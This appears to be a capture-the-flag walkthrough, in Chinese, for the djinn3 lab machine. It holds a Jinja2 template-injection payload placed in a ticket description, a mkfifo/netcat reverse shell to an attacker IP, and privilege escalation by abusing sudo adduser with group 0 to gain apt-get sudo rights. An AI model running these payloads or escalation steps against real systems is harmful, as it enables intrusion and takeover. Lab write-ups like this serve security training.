This port number means “elite” in hacker/cracker spelling (3=E, 1=L, 7=T) and because of the special meaning is often used for interesting stuff… Many backdoors/trojans run on this port, the most notable being Back Orifice.
12792 Add authentication to the ticket managment system. open link Currently the ticket management and viewing system is open and doesn't require any kind of authorization. We should add the support for authorization via passwords and also via user API key or token.
24567 Remove default user guest from the ticket creation service. open link Remove all the default user that exists on the ticket creation service as it could be a real hazadous to leave any entry point for unexpected guests. Also I would recommend adding an checks for the complexity of the password.
38345Errorwhile updating postgres queries In progress link are some issues with the postgres queries and I think that this needs to be addressed ASAP
47723 Jack will temporarily handling the risk limit UI open link As we know umang has resigned, so until we find the replacement Jack will be handling the lead on risk limit UI. RLUI team has to keep Jack about all the development that has been happening.
52984 Update the user information In progress link It's a request to the helpdesk that since lot of people(jason, david, freddy etc) were either fired or resigned. It would be nice if we can remove their accounts and privileges from the system.
62973 Complete the honeypot project In progress link Small reminder, the deadline for the honeypot project isnext week, we better finish that ASAP.
这里应该是一个业务反馈系统,包含了一些可能有用的信息
1 2 3
Remove default user guest from the ticket creation service. username: umang, Jack, jason, david, freddy accounts and privileges: jason, david, freddy
ASAP 是 ASAP 的英文缩写,表示 “尽快,越快越好”(As Soon As Possible)
> open Title: test1 Description: {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
利用成功,改成反弹 shell 的命令
1 2 3
> open Title: test2 Description: {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.1.101 444 >/tmp/f").read()}}{%endif%}{% endfor %}
┌──(kali㉿kali)-[~/Documents/djinn3] └─$ sudo nc -lvnp 444 [sudo] password for kali: listening on [any] 444 ... connect to [192.168.1.101] from (UNKNOWN) [192.168.1.106] 47944 bash: cannot set terminal process group (566): Inappropriate ioctl for device bash: no job control in this shell www-data@djinn3:/opt/.web$ whoami whoami www-data www-data@djinn3:/opt/.web$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@djinn3:/opt/.web$ ip a ip a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000 link/ether 08:00:27:34:39:41 brd ff:ff:ff:ff:ff:ff inet 192.168.1.106/24 brd 192.168.1.255 scope global dynamic eth0 valid_lft 452sec preferred_lft 452sec inet6 fe80::a00:27ff:fe34:3941/64 scope link valid_lft forever preferred_lft forever www-data@djinn3:/opt/.web$ uname -a uname -a Linux djinn3 4.15.0-101-generic #102-Ubuntu SMP Mon May 11 10:07:26 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux www-data@djinn3:/opt/.web$ python -c "import pty;pty.spawn('/bin/bash')" python -c "import pty;pty.spawn('/bin/bash')" www-data@djinn3:/opt/.web$ sudo -l sudo -l [sudo] password for www-data:
提权
信息收集
查看当前目录下的文件
1 2 3 4 5 6 7 8 9
www-data@djinn3:/opt/.web$ ls -liah ls -liah total 24K 277262 drwxr-xr-x 4 www-data www-data 4.0K Jun 4 2020 . 524412 drwxr-xr-x 4 root root 4.0K Jun 4 2020 .. 262163 -rw-r--r-- 1 www-data www-data 2.2K Oct 25 08:05 data.json 277263 drwxr-xr-x 4 www-data www-data 4.0K May 10 2020 static 294974 drwxr-xr-x 2 www-data www-data 4.0K May 17 2020 templates 262350 -rwxr-xr-x 1 www-data www-data 1.4K May 17 2020 webapp.py
import os, sys, json from glob import glob from datetime import datetime as dt
classConfigReader: config = None
@staticmethod defread_config(path): """Reads the config file """ config_values = {} try: withopen(path, 'r') as (f): config_values = json.load(f) except Exception as e: try: print("Couldn't properly parse the config file. Please use properl") sys.exit(1) finally: e = None del e
else: return config_values
@staticmethod defset_config_path(): """Set the config path """ files = glob('/home/saint/*.json') other_files = glob('/tmp/*.json') files = files + other_files try: iflen(files) > 2: files = files[:2] else: file1 = os.path.basename(files[0]).split('.') file2 = os.path.basename(files[1]).split('.') if file1[-2] == 'config': if file2[-2] == 'config': a = dt.strptime(file1[0], '%d-%m-%Y') b = dt.strptime(file2[0], '%d-%m-%Y') if b < a: filename = files[0] else: filename = files[1] except Exception: sys.exit(1) else: return filename
┌──(kali㉿kali)-[~/Documents/djinn3] └─$ ssh-keygen Generating public/private rsa key pair. Enter file inwhich to save the key (/home/kali/.ssh/id_rsa): /home/kali/Documents/djinn3/saint Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /home/kali/Documents/djinn3/saint Your public key has been saved in /home/kali/Documents/djinn3/saint.pub The key fingerprint is: SHA256:wGb18AaCNifFFn7lsk/NRrJIs5ZIIFLmffQoY4M2wjg kali@kali The key's randomart image is: +---[RSA 3072]----+ |..+ .+=.+ . | |o+ +==+= B | |E.=.*=X * * . | | + o O = O * | | . S o + | | . o . | | . | | | | | +----[SHA256]-----+
┌──(kali㉿kali)-[~/Documents/djinn3] └─$ ssh -i saint saint@192.168.1.106 Last login: Mon Jun 1 22:04:51 2020 from 192.168.1.107 saint@djinn3:~$ sudo -l Matching Defaults entries for saint on djinn3: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User saint may run the following commands on djinn3: (root) NOPASSWD: /usr/sbin/adduser, !/usr/sbin/adduser * sudo, !/usr/sbin/adduser * admin saint@djinn3:~$ ip a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000 link/ether 08:00:27:34:39:41 brd ff:ff:ff:ff:ff:ff inet 192.168.1.106/24 brd 192.168.1.255 scope global dynamic eth0 valid_lft 539sec preferred_lft 539sec inet6 fe80::a00:27ff:fe34:3941/64 scope link valid_lft forever preferred_lft forever saint@djinn3:~$ uname -a Linux djinn3 4.15.0-101-generic #102-Ubuntu SMP Mon May 11 10:07:26 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux saint@djinn3:~$ id uid=1000(saint) gid=1002(saint) groups=1002(saint)
saint@djinn3:~$ sudo /usr/sbin/adduser -h adduser [--home DIR] [--shell SHELL] [--no-create-home] [--uid ID] [--firstuid ID] [--lastuid ID] [--gecos GECOS] [--ingroup GROUP | --gid ID] [--disabled-password] [--disabled-login] [--add_extra_groups] [--encrypt-home] USER Add a normal user
adduser --system [--home DIR] [--shell SHELL] [--no-create-home] [--uid ID] [--gecos GECOS] [--group | --ingroup GROUP | --gid ID] [--disabled-password] [--disabled-login] [--add_extra_groups] USER Add a system user
adduser --group [--gid ID] GROUP addgroup [--gid ID] GROUP Add a user group
addgroup --system [--gid ID] GROUP Add a system group
adduser USER GROUP Add an existing user to an existing group
general options: --quiet | -q don't give process information to stdout --force-badname allow usernames which do not match the NAME_REGEX[_SYSTEM] configuration variable --extrausers uses extra users as the database --help | -h usage message --version | -v version number and copyright --conf | -c FILE use FILE as configuration file
尝试了直接创建一个 uid 为 0 的用户,失败。那考虑 guid 等于 0 呢?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
saint@djinn3:~$ sudo /usr/sbin/adduser --gid 0 wh0am1 Adding user `wh0am1' ... Adding new user `wh0am1' (1003) with group `root' ... Creating home directory `/home/wh0am1' ... Copying files from `/etc/skel' ... Enter new UNIX password: Retype new UNIX password: passwd: password updated successfully Changing the user information for wh0am1 Enter the new value, or press ENTER for the default Full Name []: Room Number []: Work Phone []: Home Phone []: Other []: Is the information correct? [Y/n]
切换用户
1 2 3 4 5
saint@djinn3:~$ su wh0am1 Password: wh0am1@djinn3:/home/saint$ sudo -l [sudo] password for wh0am1: Sorry, user wh0am1 may not run sudo on djinn3.
wh0am1@djinn3:/tmp$ ls -alih /home total 24K 393218 drwxr-xr-x 6 root root 4.0K Oct 25 17:27 . 2 drwxr-xr-x 23 root root 4.0K Jun 1 2020 .. 393715 drwxr-x--- 2 jack jack 4.0K Jun 4 2020 jack 394234 drwxr-x--- 2 mzfr mzfr 4.0K May 17 2020 mzfr 405476 drwxr-x--- 7 saint saint 4.0K Jun 4 2020 saint 393770 drwxr-xr-x 4 wh0am1 root 4.0K Oct 25 17:37 wh0am1
新建 jason 用户
jason 用户不存在,那就可以来尝试新建这样一个用户
1 2 3 4 5 6 7 8 9 10 11
saint@djinn3:~$ sudo /usr/sbin/adduser --gid 0 jason saint@djinn3:~$ su jason Password: jason@djinn3:/home/saint$ sudo -l [sudo] password forjason: MatchingDefaults entries for jason on djinn3: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User jason may run the following commands on djinn3: (root) PASSWD: /usr/bin/apt-get